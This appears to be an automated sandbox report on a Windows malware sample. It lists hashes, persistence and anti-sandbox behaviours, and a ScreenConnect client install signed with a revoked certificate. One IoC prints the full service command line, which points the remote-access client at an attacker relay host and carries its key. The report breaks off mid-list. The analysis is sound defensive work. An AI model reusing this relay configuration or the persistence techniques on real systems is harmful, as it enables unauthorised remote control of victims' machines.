Analysis
- max time kernel
148s - max time network
133s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/06/2026, 14:29
Behavioral task
behavioral1
Sample
2026-06-28_b62119f0ae9ad41612f252dd703799d4_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
23 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-06-28_b62119f0ae9ad41612f252dd703799d4_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
Resource
win11ltsc2024-20260629-en
windows11-ltsc_2024-x64
27 signatures
150 seconds
General
- Target 2026-06-28_b62119f0ae9ad41612f252dd703799d4_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
- Size 5.4MB
- Sample260630-rtms6ahs5r
- SHA256 dc8b056dd6eb75df21e9721ac2e340f91bb5e94d5a6ff412d7d0c7539e0f06e2
- MD5 b62119f0ae9ad41612f252dd703799d4
- SHA1 a54e21752a34a4663cef87b75efe74be139a2c8e
- SHA512 72e5aec6dc85f63715e078e7b1711dfdcbfa17f4a7caae6e9d76c6a06f2b06c050335c2e9486f27deed970e6ac97bce74d63343a5fbe3725944c6e122c55f60f
- SSDEEP 49152:gEEL5cx5xTkYJkGYYpT0+TFiH7efP8Q1yJJ4ZD1F5z97oL1YbGQ+okRPGHpRPqM8:JEs6efPNwJ4t1h0cG5FGJRPxow8O
- TLSH T15546F111B3D995BAD47F0538D87A426A9A74BC045712CBEF53D4BD2D2E32BC04E323A6
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (078712a9fb382090)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (078712a9fb382090)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=blog.derrspecial-onlinedmin.live&p=8041&s=bb8805c1-1f2c-4b14-8cad-166e0e56247c&k=BgIAAACkAABSU0ExAAgAAAEAAQDV4xLO8l2lZ0XvZvH3ZIJ3Fx9JU07wWbo64I8siM%2fUBibXowXq5bvRAtft6W9GsKzOCBzVqWPBzHI1PESYmBn85WC3HQi2%2b2NrOTrouYBZ2W3j5khZNeJ0EkxL9vI45KOiDc3EPmUSsZmPEc1mg5X3tqJ2FTJJpd%2fpANuJwBAQrj25fVf709ZryFRlLzF%2ftjJ0FvWul%2bMCMXlWWp0%2fopw0zG7XaJqDb9RjLwnSZoQ4xeaFJGuYTIlO06JWZoXykTrm4Lyf7Wu%2fRHFSaRsZppz9mjo7Z13YkYiLI3oKUguZ%2fTz2CKEmOUTylUYRIeXuR3IcKuhf56k5U%2bOwxgojZ6m1&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA2nG6rre1PkuazZuGB11qNgAAAAACAAAAAAAQZgAAAAEAACAAAADlwRiH0bhjGLaDIVqdKpRvTZMvLYxc6H8GyQxa8xpH4wAAAAAOgAAAAAIAACAAAAByaMl%2bViWyzUFSVnSAGpA2PlZIjpSY%2fjy08TfJ84peAKAEAABntJ9hVGq22NMa2iGdVTq9W0RbtxjvRlgiTZz5abHWXIYfqYqk3wHo7SHrLgN0f%2bpFqLMHhvPI%2f389OXeMk1TpfQaPH9JB1sK%2f9340469CL4vRfTQIgyW81N3%2bFleFS%2bMRGH3JkAKyl3Y0wX8S5q5Kx2aPCA0g9BDd1OX3lQQZNlRGhjfeIASPu8p87QKgS5tSxEgVqJZQJK7Bv5v2q%2f27fbbOrii0Tc1uvu7mhlGBgCAtbTOksBEGktR%2f8qA2BlCG2M9nBjDrYtg3zlimDDIMJpYcYDjx917OsDPelwetynLX5K%2f9zBGbXHIzCb7R99WeNTKN2GUF6BapGalSUopd68c6oT5%2fnetrNZCOF0k0LLCpzKc4oJUgcDS2ZT6QVRW15RuZzRdgd%2bIHe7xIVMrMsqgqcyGsB000y76KDHUk6jRrrRomlxvcwDyikzypktnuZJ%2bq%2fWNOvtLwj5WNuz9uCPcW66cvx2yOcsNyOjgU83AzE9gkt2rZtKcp9EekNZq0ZPlsTveET8QS60gW%2fKFqApkTwk74k5am4HqezHfQokJxzYRfBL15lhkLh2fY2G%2fI9HoPxxbBZvoISBYMHXZ0zh7SyygNIPcIWzY2v0KZagens4pA5CzneeZxGOGJKW5vVumeyJRbRSHauCA%2fIt7kgIfuJyheKJupOUDsWcNs10JN3%2bkKEFZasRmADgonnSnp2eV%2bSi74h9X2H%2fgPnhPPvCGAijy3q%2bqiFPeiQ5w9jYmoLRp98T%2fkIkWJ6we7e5hgFDiEyLGXQIVnh57z6jmGzULXlniZ8D8dGGCIb4Tt%2fR%2bugl5aQxMFG61TsUFBZhb7gG7ZArf%2fYpxG9LVmlZA2B59DulLhu4cGG%2f6FcOo4rZUbWkMqIB2EfaASZ7Byo1NnsWVnevMOebvqqK2Ff%2fntzEJkk%2fcb8gwoRN1hWkT%2bWEey%2bh3zlZQY3VQd9qkX7tSC5SJW%2bd5flbXCxvHNvtlPQQqdyoZNpbRs8G6UdGNHAUP0TXJ4a2Q7CofQt52tKHrR6BPODe36eVCQXCmze5MAuDq0TA9eF01iE4LMNvmRJu0SUIEGMfsnOtX3XxxFcwPzt80zNREqgsFmA4aARI6im%2f7BwqSVaJ%2b69UR9MvnLYzilU6nGM2Kdw7VbVSDZsPMMlWiFn6jcuRF3OQIP%2fkFw5jnjyp%2f6CbM6Gac9KmNToENUoNy%2boQcRipwE%2bGd4QigjPq51pNxAkaok00hFTABeGcSIJHtrSKCk4RcP0plB8WnYLvFLgBVbpkvxMZemGuaaNZbKFYLLElzf9wlfMeS4luCKFLJTFGUoQjdRFWqBM%2fRVpPndy8PWxt0N7r3Y9wmVHpT1TGjUEgJU48cBbtg3%2b5aoaP0yHbdFCoTdG5oHOPoK84mWwUKioAPLNYULAs29lUsKrLcaA3sMwT8el2Cq10k54SMIcmDn%2bfPIZYAwmQkVCS6ljntdNFYhdds4erg6zqP%2f8jf%2bphKZO9XUT502CLK2ebPr5Ayp9h2UmPUCXC1pDulB4dUxD109tUCZVpW%2bdMQOF7dyxETB5wiXG%2fELvzvk8ifzrK1zumaNQXtbUEAAAADlUFi6SDO1HBS2WIYb1x7Zl8OpxMA5OINHunE3z8yVaOCR5qf8PqokFAbGn41J%2fuOUK2%2bvAKVPPXQjxoeOJa8%2f&c=DropBox%20access%20secured&c=&c=&c=&c=&c=&c=&c=\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 5 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral2/memory/2488-2-0x0000000005CD0000-0x0000000005FC0000-memory.dmp revoked_cert_connectwise behavioral2/files/0x000d00000001c393-84.dat revoked_cert_connectwise behavioral2/files/0x000d00000001c390-127.dat revoked_cert_connectwise behavioral2/memory/2040-128-0x0000000004A60000-0x0000000004B32000-memory.dmp revoked_cert_connectwise behavioral2/files/0x000d00000001c38e-133.dat revoked_cert_connectwise - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 5 IoCs
pid Process 1928 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 5480 ScreenConnect.WindowsClient.exe 1220 ScreenConnect.WindowsClient.exe 5612 ScreenConnect.WindowsClient.exe - Loads dropped DLL 30 IoCs
pid Process 3328 MsiExec.exe 472 rundll32.exe 472 rundll32.exe 472 rundll32.exe 472 rundll32.exe 472 rundll32.exe 472 rundll32.exe 472 rundll32.exe 472 rundll32.exe 472 rundll32.exe 3064 MsiExec.exe 2280 MsiExec.exe 1928 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 1928 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 1928 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 1928 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 1928 ScreenConnect.ClientService.exe 1928 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 1928 ScreenConnect.ClientService.exe 1928 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe 2040 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\F: explorer.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800300037003800370031003200610039006600620033003800320030003900300029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (078712a9fb382090)\fqthybmt.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (078712a9fb382090)\fqthybmt.newcfg ScreenConnect.ClientService.exe - Drops file in Program Files directory 19 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (078712a9fb382090)\ScreenConnect.ClientService.dll msiexec.exe - Drops file in Windows directory 17 IoCs
description ioc Process File created C:\Windows\Installer\e5881fc.msi msiexec.exe File opened for modification C:\Windows\Installer\{9985F12F-79C3-81CA-8B5B-AAAD7A2CFEC6}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DFC99146A0090CFBD0.TMP msiexec.exe File opened for modification C:\Windows\Installer\e5881fc.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI86F0.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF1334656ACA145250.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{9985F12F-79C3-81CA-8B5B-AAAD7A2CFEC6} msiexec.exe File opened for modification C:\Windows\Installer\MSI85B6.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF3DAD6CB2C15BE0D8.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFC5E3CD56077EC65D.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI8587.tmp msiexec.exe File created C:\Windows\Installer\wix{9985F12F-79C3-81CA-8B5B-AAAD7A2CFEC6}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\e5881fe.msi msiexec.exe File created C:\Windows\Installer\{9985F12F-79C3-81CA-8B5B-AAAD7A2CFEC6}\DefaultIcon msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 3600 1928 WerFault.exe 101 - System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2026-06-28_b62119f0ae9ad41612f252dd703799d4_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000defd50087e4d8ef30000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801defd50080000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101defd5008000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3defd500800000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6defd500800000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened 